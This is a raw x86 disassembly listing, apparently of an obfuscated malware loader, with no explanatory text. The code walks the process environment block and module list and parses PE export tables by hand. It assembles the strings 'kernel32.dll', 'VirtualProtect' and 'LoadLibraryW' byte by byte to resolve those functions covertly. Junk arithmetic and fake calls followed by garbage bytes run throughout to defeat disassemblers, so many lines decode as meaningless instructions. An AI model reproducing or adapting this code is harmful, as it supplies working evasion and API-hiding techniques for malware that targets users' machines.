mov dword [ebp - 0x2e0], ecx
jmp 0x406589
push edi
push eax
add esp, 4
xor edi, 0x113ed
and edi, 0x52b8
and edi, 0xe01b
pop edi
push eax
push ebx
add esp, 4
and eax, 0x1828a
jmp 0x40654c
and eax, 0x15da4
pop eax
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x40657f
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x40634a
mov dword [ebp - 0x2e0], 0
push ecx
and ecx, 0x174e6
sub ecx, 0x14fb9
add ecx, 0x1263a
pop ecx
push edi
push ecx
add esp, 4
sub edi, 0x9afe
or edi, 0x13d9b
or edi, 0x8c51
xor edi, 0x46d9
pop edi
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push ebx
or ebx, 0xc0f4
or ebx, 0x16775
pop ebx
push edi
push edx
add esp, 4
xor edi, 0xf24b
xor edi, 0xe5ef
pop edi
push edi
push eax
add esp, 4
or edi, 0x2e5e
xor edi, 0xfe37
pop edi
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x40662c
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x40691d
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x406654
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x40691d
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x406686
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x40691d
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x4066ab
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x40691d
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x406705
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x406911
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x406775
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x406827
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x406827
push esi
add esi, 0xdc2c
pop esi
push ebx
push edi
add esp, 4
jmp 0x4067b6
pop ebx
push eax
call 0x4067c7
add byte [ecx + eax*2 + 0x3a], cl
cmp eax, 0x354b4c39
dec ebp
add esp, 4
jmp 0x4067d3
pop eax
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x406819
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x406820
jmp 0x406766
jmp 0x406827
push edi
jmp 0x40682f
xor edi, 0x730f
add edi, 0x184a9
pop edi
push edx
xor edx, 0x2d24
call 0x40684f
add byte [edi], dh
cmp cl, byte [ecx + 0x46]
dec eax
cmp al, byte [ebx - 0x3d7efb3c]
dec esi
add dword [eax], eax
pop edx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x406886
mov dword [ebp - 0xc40], 0
jmp 0x4068f5
push eax
push edx
add esp, 4
add eax, 0xcc62
jmp 0x406898
call 0x4068a8
add byte [edi], bh
inc eax
cmp esi, dword [edx]
dec edx
cmp al, 0x50
dec esp
inc edx
dec esi
add esp, 4
pop eax
push edi
push ebx
add esp, 4
xor edi, 0x97ce
pop edi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x4068eb
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x4068f5
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x40690c
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x40691d
jmp 0x4066f6
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push edi
add edi, 0xb4f7
and edi, 0x8a0
pop edi
push edi
push eax
add esp, 4
and edi, 0x4469
pop edi
push ecx
push ecx
add esp, 4
xor ecx, 0x18379
pop ecx
push edx
push eax
add esp, 4
add edx, 0x15aa8
pop edx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push eax
push edx
add esp, 4
jmp 0x406977
and eax, 0x4d9b
pop eax
push ebx
jmp 0x406987
and ebx, 0x12547
pop ebx
push esi
and esi, 0x8848
xor esi, 0x4437
pop esi
cmp dword [ebp - 0x3cc], 0
je 0x4069ae
cmp dword [ebp - 0xa5c], 0
jne 0x4069f4
push edx
push ebx
add esp, 4
or edx, 0x10de5
sub edx, 0x4f0f
call 0x4069ce
add byte [eax + 0x3b], dl
inc ebp
dec esp
cmp dword [ecx], edi
xor al, 0x46
inc ebx
add esp, 4
or edx, 0x3143
pop edx
push ecx
or ecx, 0x6c78
pop ecx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push ebx
call 0x406a0c
add byte [ecx], bh
cmp ecx, dword [ebx + 0x47]
aas
xor al, 0x4c
add esp, 4
and ebx, 0x32a0
xor ebx, 0x1435f
or ebx, 0x79be
pop ebx
push ebx
and ebx, 0x123b9
jmp 0x406a2f
pop ebx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push eax
push ebx
add esp, 4
xor eax, 0x13c0f
and eax, 0xaa08
pop eax
push edx
push ecx
add esp, 4
sub edx, 0x80ee
pop edx
push ebx
sub ebx, 0x92df
pop ebx
push edi
push eax
add esp, 4
or edi, 0x8d0e
pop edi
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edx
xor edx, 0x25f7
pop edx
push ebx
push esi
add esp, 4
or ebx, 0x45b4
pop ebx
push eax
push esi
add esp, 4
sub eax, 0x6eda
sub eax, 0xad48
add eax, 0x9b85
xor eax, 0x522b
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ebx
push ebx
add esp, 4
or ebx, 0x11c49
pop ebx
push edi
and edi, 0x5cf8
and edi, 0x1432f
add edi, 0xdd55
pop edi
push edi
push edi
add esp, 4
and edi, 0xaa19
or edi, 0x13d52
pop edi
cmp dword [ebp - 0x150c], 0
jne 0x406b99
mov dword [ebp - 0x2a8], 0
jmp 0x406e40
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push eax
push eax
add esp, 4
sub eax, 0x13c4c
pop eax
push ecx
call 0x406bc7
add byte [edx + 0x35], cl
dec edi
cmp cl, byte [edx + ecx*2 + 0x34]
cmp ecx, dword [ebp - 0x7d]
les eax, [ecx + eax*4]
leave
daa
dec ebp
add byte [eax], al
and ecx, 0xbd47
add ecx, 0x125bb
pop ecx
cmp dword [ebp - 0xc4c], 0
jne 0x406bf5
mov dword [ebp - 0x2a8], 0
jmp 0x406e40
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edx
jmp 0x406c08
add edx, 0x15e2b
add edx, 0x2710
pop edx
push esi
push ecx
add esp, 4
call 0x406c27
add byte [ebx + eax*2 + 0x41], al
xor ecx, dword [esi + 0x46]
push eax
add esp, 4
pop esi
push eax
or eax, 0x7bd8
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edx
push edi
add esp, 4
xor edx, 0xcd90
xor edx, 0x11878
and edx, 0x3f1d
pop edx
push ecx
sub ecx, 0xc7c
or ecx, 0x1442c
add ecx, 0xcacd
xor ecx, 0x15452
pop ecx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push eax
push ebx
add esp, 4
xor eax, 0xf8e6
call 0x406cff
add byte [edx + 0x4c], cl
inc ebp
cmp dword [eax], edi
aas
dec ebx
add esp, 4
call 0x406d0e
add byte [esi], bh
xor al, 0x40
inc ecx
aas
cmp dword [ebx - 0x377efb3c], eax
pushal
cmp eax, dword [ecx]
add byte [eax + 0xf], bl
mov bh, 0x45
enter 0xffffffffffffc085, 0x75
adc eax, 0xfc8db70f
std
invalid
push edx
push edi
add esp, 4
xor edx, 0x2946
call 0x406e58
add byte [esi + 0x45], cl
xor al, 0x40
aaa
xor eax, 0x4c48347
pop edx
push edx
and edx, 0x9f29
or edx, 0xf9d3
jmp 0x406e71
pop edx
cmp dword [ebp - 0x2a8], 0
jne 0x407777
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push eax
push ecx
add esp, 4
and eax, 0x9241
and eax, 0x44a6
or eax, 0x12f8a
pop eax
push ecx
push ecx
add esp, 4
or ecx, 0xa28b
pop ecx
push ecx
and ecx, 0x1396e
xor ecx, 0xdcb7
pop ecx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ecx
xor ecx, 0x27c4
pop ecx
push esi
push ecx
add esp, 4
jmp 0x406fe2
pop esi
push ebx
push eax
add esp, 4
call 0x406ff5
add byte [ecx + 0x46], cl
cmp dh, byte [ebx]
dec esp
inc ebp
cmp al, 0x83
les eax, [ecx + eax*4]
in eax, dx
add byte [eax], al
pop ebx
cmp dword [ebp - 0x1518], 0
jne 0x407017
mov dword [ebp - 0x710], 0
jmp 0x4072be
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push edi
push edx
add esp, 4
jmp 0x407036
add edi, 0x13a44
xor edi, 0x8e9d
pop edi
push ecx
push ebx
add esp, 4
or ecx, 0x5906
xor ecx, 0x126a7
xor ecx, 0x4008
pop ecx
cmp dword [ebp - 0xc58], 0
jne 0x407073
mov dword [ebp - 0x710], 0
jmp 0x4072be
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push ecx
push edi
add esp, 4
and ecx, 0xfd79
or ecx, 0x14135
or ecx, 0x11a1f
pop ecx
push ebx
and ebx, 0x11b91
pop ebx
push ebx
push ebx
add esp, 4
or ebx, 0xcc12
sub ebx, 0xd3e5
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ebx
or ebx, 0x117ff
add ebx, 0x16926
pop ebx
push ecx
call 0x4070f7
add byte [eax], bh
dec esp
cmp cl, byte [edx + 0x4b]
push eax
inc eax
add esp, 4
xor ecx, 0x1360d
xor ecx, 0x5ac7
sub ecx, 0x43ac
pop ecx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push eax
push ebx
add esp, 4
add eax, 0x13c15
or eax, 0x13d01
pop eax
push edx
push eax
add esp, 4
xor edx, 0x125e9
pop edx
push ecx
and ecx, 0x170b0
add ecx, 0xa3f8
add ecx, 0x17686
pop ecx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x4071b3
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x40720d
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x4070db
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x4070db
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x4071f7
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x407201
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x407256
push eax
add eax, 0x163c8
and eax, 0xd0e
pop eax
push ebx
add ebx, 0x1066d
add ebx, 0x676
call 0x40723e
add byte [ebp + ecx*2 + 0x47], cl
dec ebx
dec edi
inc edi
add esp, 4
add ebx, 0x5b9f
pop ebx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x4072be
push eax
push eax
add esp, 4
and eax, 0x15d8e
sub eax, 0x12be4
sub eax, 0x1120c
sub eax, 0xd3ae
pop eax
push edx
add edx, 0x2bff
sub edx, 0xc7e9
sub edx, 0xe9c2
pop edx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x4072b4
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x40707f
mov dword [ebp - 0x710], 0
push eax
sub eax, 0x14bbb
pop eax
push ecx
call 0x4072d3
add byte [esi], dh
aaa
xor esi, dword [edi]
dec edx
add esp, 4
add ecx, 0x17cda
pop ecx
push edx
push ebx
add esp, 4
jmp 0x4072e9
sub edx, 0x994c
pop edx
cmp dword [ebp - 0x710], 0
jne 0x40733a
push edx
push esi
add esp, 4
add edx, 0xff9c
pop edx
push ecx
sub ecx, 0x15fee
pop ecx
push edx
push edx
add esp, 4
add edx, 0xa774
add edx, 0xd0ce
pop edx
push eax
push ecx
add esp, 4
add eax, 0x11387
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x407e62
push edi
xor edi, 0xa456
pop edi
push edi
push eax
add esp, 4
add edi, 0x1075b
xor edi, 0xa9ae
pop edi
push esi
push ebx
add esp, 4
sub esi, 0x9cf7
or esi, 0xcce6
xor esi, 0x29e7
pop esi
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x4073ab
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x40769c
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x4073d3
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x40769c
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x407405
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x40769c
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x40742a
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x40769c
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x407484
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x407690
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x4074f4
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4075a6
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x4075a6
push edi
push ecx
add esp, 4
xor edi, 0xdc8
sub edi, 0xb962
and edi, 0x16c24
pop edi
push esi
or esi, 0x1089f
or esi, 0x75f4
or esi, 0x17ec4
or esi, 0x9452
pop esi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x407598
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x40759f
jmp 0x4074e5
jmp 0x4075a6
push eax
push eax
add esp, 4
sub eax, 0x50c6
sub eax, 0x123db
xor eax, 0xb25c
jmp 0x4075c2
pop eax
push ebx
jmp 0x4075cb
sub ebx, 0x6144
sub ebx, 0x180d3
pop ebx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x407605
mov dword [ebp - 0xc5c], 0
jmp 0x407674
push eax
push edi
add esp, 4
call 0x407619
add byte [edi + 0x4d], cl
inc esp
cmp bh, byte [edi]
inc edx
cmp ecx, dword [edi + 0x50]
add esp, 4
pop eax
push ebx
xor ebx, 0x1003d
sub ebx, 0x4781
or ebx, 0x769e
sub ebx, 0x8f3c
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x40766a
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x407674
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x40768b
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x40769c
jmp 0x407475
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x407777
push edi
or edi, 0xa53e
or edi, 0xa660
call 0x4076c5
add byte [edx], dh
xor ecx, dword [ebp + 0x50]
cmp byte [ebp + 0x4d], cl
dec ebp
aaa
add esp, 4
pop edi
push ecx
push eax
add esp, 4
and ecx, 0xb42f
sub ecx, 0x25b8
pop ecx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push ebx
xor ebx, 0x7b9
add ebx, 0x8b74
pop ebx
push esi
jmp 0x4076fe
jmp 0x407704
or esi, 0x10d7
pop esi
push edx
xor edx, 0x15d2e
and edx, 0x9083
pop edx
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x407777
push ecx
or ecx, 0x8a8e
and ecx, 0xd762
jmp 0x407748
and ecx, 0x94f8
pop ecx
push ebx
push edi
add esp, 4
add ebx, 0xb5c1
add ebx, 0xedee
jmp 0x407767
pop ebx
mov dword [ebp - 0xa58], 0
jmp 0x407e62
push eax
jmp 0x40777d
sub eax, 0xa0b
pop eax
push ecx
push edi
add esp, 4
sub ecx, 0x12c22
pop ecx
push esi
and esi, 0x5222
or esi, 0x1170
add esi, 0x12e74
jmp 0x4077a8
pop esi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push eax
push eax
add esp, 4
xor eax, 0x5db
add eax, 0x8f1e
pop eax
push esi
push eax
add esp, 4
or esi, 0x10b36
add esi, 0x3048
pop esi
push edi
sub edi, 0x156fd
xor edi, 0x191f
pop edi
cmp dword [ebp - 0x1574], 0
jne 0x40781b
mov dword [ebp - 0x2a8], 0
jmp 0x407ac2
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ebx
push eax
add esp, 4
xor ebx, 0x18026
pop ebx
push ebx
sub ebx, 0x3e03
add ebx, 0xc627
pop ebx
push ebx
push ecx
add esp, 4
or ebx, 0xfa21
pop ebx
push ecx
push eax
add esp, 4
or ecx, 0x1751c
pop ecx
cmp dword [ebp - 0xc68], 0
jne 0x407877
mov dword [ebp - 0x2a8], 0
jmp 0x407ac2
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ebx
call 0x407894
add byte [ebx], dh
aas
cmp ecx, dword [ecx + 0x3e]
dec ebx
cmp dword [ebx], esi
cmp edi, dword [eax]
add esp, 4
sub ebx, 0x9cee
pop ebx
push edi
or edi, 0x13dae
jmp 0x4078ae
add edi, 0x462f
pop edi
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push ecx
push edx
add esp, 4
add ecx, 0x11765
xor ecx, 0x169cc
add ecx, 0x18694
pop ecx
push edx
jmp 0x4078fd
and edx, 0x13e60
jmp 0x407908
pop edx
push edi
and edi, 0xf2fc
pop edi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push ecx
push ecx
add esp, 4
xor ecx, 0xce1a
or ecx, 0xd75b
pop ecx
push ecx
sub ecx, 0xec61
add ecx, 0x2634
call 0x407996
add byte [ecx], bh
push eax
inc edx
aaa
xor al, byte [eax + 0x3a]
cmp bh, byte [esi]
add esp, 4
pop ecx
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x4079b7
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x407a11
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x4078df
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x4078df
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x4079fb
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x407a05
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x407a5a
push esi
push edx
add esp, 4
xor esi, 0xc019
pop esi
push esi
call 0x407a34
add byte [edi + 0x45], al
dec edi
dec eax
dec eax
dec ebp
add esp, 4
xor esi, 0x80d
jmp 0x407a45
xor esi, 0x1268d
pop esi
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x407ac2
push eax
push eax
add esp, 4
xor eax, 0x66f3
add eax, 0x7d7
or eax, 0x3e47
and eax, 0x3375
pop eax
push ebx
xor ebx, 0x12581
sub ebx, 0x2acb
sub ebx, 0x5e2d
pop ebx
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x407ab8
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x407883
mov dword [ebp - 0x2a8], 0
push esi
